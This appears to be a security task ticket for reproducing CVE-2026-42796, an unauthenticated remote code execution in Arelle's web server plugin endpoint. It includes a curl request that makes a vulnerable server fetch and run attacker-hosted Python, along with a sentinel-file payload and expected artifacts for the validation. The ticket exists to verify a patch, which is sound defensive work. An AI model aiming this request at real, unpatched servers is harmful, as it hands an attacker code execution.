## Ticket: CVE-2026-42796 — Arelle unauthenticated RCE via plugin URL parameter

**Advisory**: PR #2320 / release tag 2.39.10 — https://github.com/Arelle/Arelle/pull/2320
**CVE**: CVE-2026-42796 | **CWE-94** (Code Injection)
**Severity**: Critical — CVSS 3.1 base 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**Package**: `arelle` (PyPI, CLI) | **Repository**: https://github.com/Arelle/Arelle

### Impact

Arelle's built-in web server exposes an endpoint `/rest/configure?plugins=URL`
that forwards the attacker-supplied URL to the plugin manager. The plugin
manager downloads the file at that URL and loads it as a Python plugin
in-process — with **no authentication** and **no allowlist** on the URL
scheme or origin.

Any attacker who can reach the Arelle web server can therefore run arbitrary
Python code in the Arelle process: unauthenticated remote code execution.

### Affected / fixed versions

Affected: `arelle` `< 2.39.10`.
Fixed: **`2.39.10`**.

Reproduce on a vulnerable build (**`2.39.9`**) and verify the fix on
**`2.39.10`**.

### Where to look

The fix ships in release tag 2.39.10 via PR
[#2320](https://github.com/Arelle/Arelle/pull/2320). Inspect the patch to
confirm the root cause and the guard added on the `/rest/configure` plugin URL
parameter:

```bash
git clone https://github.com/Arelle/Arelle.git
cd Arelle && git log 2.39.9..2.39.10 --oneline
```

### Reproduction approach

The bug is observable purely from a local HTTP request — no XBRL document,
database, or browser is needed.

1. In a clean Python venv, install the **vulnerable** build:
   `pip install arelle==2.39.9`
2. Start the web server: `arelle --webserver localhost:8080`
3. In a scratch directory, write `x.py` whose top level writes a sentinel
   file (e.g. `open('/tmp/pwned', 'w').write('pwned')`), then serve it:
   `python -m http.server 9090`
4. Trigger the endpoint:
   `curl "http://127.0.0.1:8080/rest/configure?plugins=http://127.0.0.1:9090/x.py"`
5. Repeat steps 1-4 with the **fixed** build: `pip install arelle==2.39.10`.

### Expected result

| Build | `GET /rest/configure?plugins=http://127.0.0.1:9090/x.py` | `/tmp/pwned` after |
|-------|----------------------------------------------------------|--------------------|
| `arelle==2.39.9` (vulnerable) | URL fetched, x.py loaded as a plugin, top-level code executed | **created** — RCE confirmed |
| `arelle==2.39.10` (fixed) | request rejected by the new guard; no plugin loaded | **not created** |

- **Vulnerable indicator**: sentinel file `/tmp/pwned` exists after the
  request; the attacker's Python ran in the Arelle process.
- **Fixed indicator**: sentinel file is absent; the request is refused
  before any code is loaded.

### Expected artifacts

- `reproduction_steps.sh` — installs both versions, starts the web server
  and plugin file server, sends the exploit request, and asserts the
  sentinel file's presence/absence for each.
- `validation_verdict.json` — `verdict: confirmed`, with the vulnerable and
  fixed indicators captured.
- Logs capturing the HTTP responses and the sentinel-file check for
  `2.39.9` and `2.39.10`.
